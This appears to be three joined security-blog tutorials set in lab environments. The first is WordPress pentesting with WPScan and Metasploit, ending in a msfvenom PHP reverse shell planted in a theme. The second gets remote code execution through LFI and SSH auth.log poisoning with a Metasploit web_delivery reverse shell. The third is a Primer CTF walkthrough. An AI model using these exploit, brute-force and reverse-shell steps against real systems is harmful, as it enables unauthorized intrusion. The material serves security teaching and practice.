Wordpress Penetration testing using WPScan & Metasploit

In our previous article we had discussed “WordPress Penetration Testing Lab Setup in Ubuntu” and today you will learn wordpress penetration testing using WPSCAN and METASPLOIT.

Attacker: Kali Linux
Target: Wordpress 

WPScan is a black box vulnerability scanner for WordPress written in PHP mainly focus on different types of vulnerability in WordPress, WordPress themes, and plugins. Well, WPScan tool is already installed by default in Kali Linux, SamuraiWTF, Pentoo, BlackArch, and BackBox Linux. WPScanuses the database of all the available plugins and themes (approximately over 18000 plugins and 2600 themes) during testing against the target to find outdated versions and vulnerabilities.

Things WPScan can do for you are:
Detect a version of currently installed WordPress.
-Can detect sensitive files like readme, robots.txt, database replacing files, etc.
-Detect enabled features on currently installed WordPress.
-Enumerate theme version and name.
-Detect installed plugins and can tell you if it is outdated or not.
-Enumerate user names also.

Let’s start.

Go to your Kali Linux terminal and type following to download wpscan from git hub.

cd Desktop

git clone https://github.com/wpscanteam/wpscan.git


./wpscan.rb –h

Using default Option we will are going to penetrate our wordpress website:
e             or –enumerate option use for Enumeration.
u        usernames from id 1 to 10
 u[10-20] usernames from id 10 to 20 (you must write [] chars)
 p        plugins
 vp       only vulnerable plugins
ap       all plugins (can take a long time)
 tt       timthumbs
  t        themes
  vt       only vulnerable themes
  at       all themes (can take a long time)


Wpscan is a great tool to scan wordpress websites. Now we will try to do some basic scan, we will use enumerate tools to find information about themes, plugins, usernames etc.

Now type following command to scan wordpress and its server:
./wpscan.rb –u http://192.168.0.101/wordpress/
Instead of http://192.168.0.101/wordpress/ type the name of a website you want to scan. 

 Here it found server: Apache/2.4.7, PHP /5.5.9 wordpress version 4.8.1, using this information an attacker can check for its exploit in Google. Moreover it also found that the upload directory has directory listing enable which means anyone can browse the directory /wp-content/uploads to view the uploaded files and contents.


A theme controls the general look and feel of website including things like page layout, widget locations, and default font and color choices. WordPress.com has a wide range of themes for its user and each theme has an about page that includes features and instructions.

To scan installed theme of wordpress website type following command:
./wpscan.rb –u http://192.168.0.101/wordpress/–enumerate t


After some time we successfully found Theme twentysevebteen –v1.3, last update, location of theme installed and etc as shown below.


Enumerating wordpress vulnerable Theme
To scan installed vulnerable theme of wordpress website type following command:
./wpscan.rb –u http://192.168.0.101/wordpress/–enumerate vt

From scanning result we didn’t find any vulnerable theme which means there is no vulnerable theme which can be exploited.


Plugins are small piece of code of a program which can be added to a WordPress website to extend its functionality.
                       
To find installed plugins on our target’s WordPress website, type in terminal:
./wpscan.rb –u http://192.168.0.101/wordpress/–enumerate p





Now type following command to scan vulnerable plug-in of any wordpress website:
./wpscan.rb –u http://192.168.0.101/wordpress/–enumerate vp





This module exploits an arbitrary PHP code upload in the WordPress Reflex Gallery version 3.1.3. The vulnerability allows for arbitrary file upload and remote code execution.

Open the terminal load metasploit framework and execute following command:
use exploit/unix/webapp/wp_reflexgallery_file_upload
msf exploit(wp_reflexgallery_file_upload) > set rhost 192.168.0.101
msf exploit(wp_reflexgallery_file_upload) > set targetURI /wordpress/
msf exploit(wp_reflexgallery_file_upload) > exploit

Awesome!! From given image you can observe the meterpreter session of victim’s web server.
Meterpreter> sysinfo


Enumerating wordpress Usernames
In order to enumerate user names of wordpress website execute following command:



After sometime it will dump the table of usernames. In this scan I had found three users with their Id as given below:
ID 1: admin
ID2: ignite
ID: demo


Whatever we have scanned above can be easily enumerate at once by executing given below command:
./wpscan.rb –u http://192.168.0.101/wordpress/ -e at –e ap –e u

Here we had use option –e at –e ap –e u for following reasons:

–e at : enumerate all themes of targeted website
–e ap: enumerate all plugins of targeted website
–e u: enumerate all usernames of targetd website



Brute force attack using Wpscan
With help of username which we had enumerated above we can create a wordlist of password for user admin and can try brute force login attack using given below command.
./wpscan.rb –u http://192.168.0.101/wordpress/ --wordlist /root/Desktop/dict.txt –username admin






You can use above credential for login into admin panel where we can upload any theme, taking advantage of admin right we will try to upload malicious script to achieve reverse connection from victim’s system.
Once you are inside admin panel click on Appearance from dashboard and then select option editor.




msfvenom –p php/meterpreter/reverse_tcp lhost=192.168.0.107 lport=4444 –f raw
 From screenshot you can read the generated PHP script, at this instant we need to copy the text from *further we will past it inside wordpress template as a new theme.




use exploit/multi/handler
 msf exploit(handler) >set payload php/meterpreter/reverse_tcp
msf exploit(handler) >set lhost 192.168.0.107
msf exploit(handler) >4444
msf exploit(handler) >exploit


http://192.168.0.101/wordpress/wp-content/themes/twentyseventeen/404.php


Meterpreter> sysinfo

In this way using WPSCAN and METASPLOIT admin can check the strength and weakness of wordpress website.

RCE with LFI and SSH Log Poisoning

In this article you will learn how make unauthorized access in a web server if it is suffering from local file inclusion vulnerability with help of auth log file. To perform this attack Please read our previous article “Beginner Guide to File Inclusion Attack (LFI/RFI)” and “Configure Web Server for Penetration Testing (Beginner Guide)” that will help you in configuration of own web server as well as more about LFI vulnerability.

Attacker: Kali Linux
Target: Ubuntu

Let’s Begin!!

Create a PHP file which will allow the user to include a file through file parameter. Hence using file parameter we can execute a file that contains malicious code to make unauthorized access is target PC. Download File from Here

I had saved given below PHP code inside a text file as lfi.php and saved on desktop.
Now login with user as “root” and create a folder “lfi” inside /var/www/html
cd /var/www/html
mkdir lfi
Move lfi.php file from desktop to /var/www/html using given below command.
mv /home/raj/Desktop/lfi.php .

Since we had added a php file with include function inside /var/www/html which allow to read the content of another file through it and can lead to LFI attack. Let’s demonstrate it by exploring following URL to read password files:

localhost/lfi/lfi.php?file=/etc/passwd
From given image you can observe that above URL has dumped following result shown below.

Open terminal in your kali Linux and connect the target through SSH service
 From screenshot you can see I am connected with target system.


Type following command to view its logs:
tail -f /var/log/auth.log
 From given below image you can check the details of generated logs for auth.log file.


Now I will try to openauth.log.log file through lfi.php on browser therefore give read and write permission to auth.log.
cd /var/log/
chmod 775 auth.log


Now to include the auth.log file as file parameter and give following URL inside browser.
192.168.1.129/lfi/lfi.php?file=/var/log/auth.log
From given image you can see it is showing created auth logs in browser also. 



Since the auth.log file generates log for every success and failed login attempt when we try to connect with web server. Taking advantage of this feature now I will send malicious PHP code as fake user and it will get added automatically in auth.log file as new log.
ssh ’@192.168.1.129

Again when you will check its log, you will find the PHP code has been added as new log.
Type following command to view its logs:
tail -f /var/log/auth.log


Here it will dump the data of auth log as well as execute comment given through cmd; now execute ifconfig as cmd comment to verify network interface and confirm its result from inside the given screenshot.
192.168.1.129/lfi/lfi.php?file=/var/log/auth.log &c=ifconfig


If you found such kind of vulnerability in any web application then you can use metasploit platform to exploit web server.
use exploit/multi/script/web_delivery
msf exploit (web_delivery)>set target 1
msf exploit (web_delivery)> set payload php/meterpreter/reverse_tcp
msf exploit (web_delivery)> set lhost 192.168.1.123
msf exploit (web_delivery)>set srvport  8081
msf exploit (web_delivery)>exploit
Copy the highlighted text shown in below window

Paste the above copied malicious code inside URL as shown in given image and execute it as command.


When above code gets execute you will get meterpreter session 1 of targeted web server.
msf exploit (web_delivery)>sessions 1
meterpreter> sysinfo


Hack the Primer VM (CTF Challenge)

Hello friends! Today we are going to take another CTF challenge known as Primer. The credit for making this vm machine goes to “couchsofa” and it is another boot2root challenge where we have to root the VM to complete the challenge. You can download this VM here.
Let’s Breach!!!
Let us start form getting to know the IP of VM (Here, I have it at 192.168.1.115 but you will have to find our own)

netdiscover

nmap -sV  192.168.1.115


We found port 80 is open so we open this ip address in our browser.


dirb http://192.168.1.115/ -w


Inside the robots.txt we find a link to a page.


We open this link, it leads to page that has a story written on it.


We take a look at the source code at the and found another link.


When we open the link we found a link on the page.


When we open the link we are prompted for a password.


We capture the request of this page in burpsuite and and send it to repeater. In the response from the server, we find another link.


When we open the link we find another page that prompts for password.


Now we take a look at the url, it looks like md5 so we removed the first and underscore we find something interesting.


We find that the url are actually prime numbers converted into md5 hashes. We were at the 7 page, and the hash to that is 17. So we convert 19(next prime number) to md5 hash.




We take a look at the source code and find another url.


We open it and find a custom made terminal that uses javascript to execute certain commands.


In the ~/usr/falken/ folder we find a hint, when we take a look at the processes we find a command that we need to run.


When we run connect falken@Erebus It prompts for password. We get a hint from the log files that the password might be related to Joshua. In the logs we find that his date of birth i 6th august 1984. We use cupp to create a dictionary file.


We use burpsuite to bruteforce the password, we find that joshua1984 is the password.


When we login, we find a page again with terminal.




There we find our next clue, we googled trivial zero and found it was discovered by Riemann. We use cupp to create a dictionary with the given information.




When we login we are again prompted with another terminal.

When we look through the files we find the md5 encoded string for the usernames. We check for processes and again find a command.


When we crack the md5 password, we find that these are password for the respective username.

When we login, we are again prompted with another terminal.


Looking through the files we find username, password and hostname.


We use these to login and find a page greeting us for completing challenge.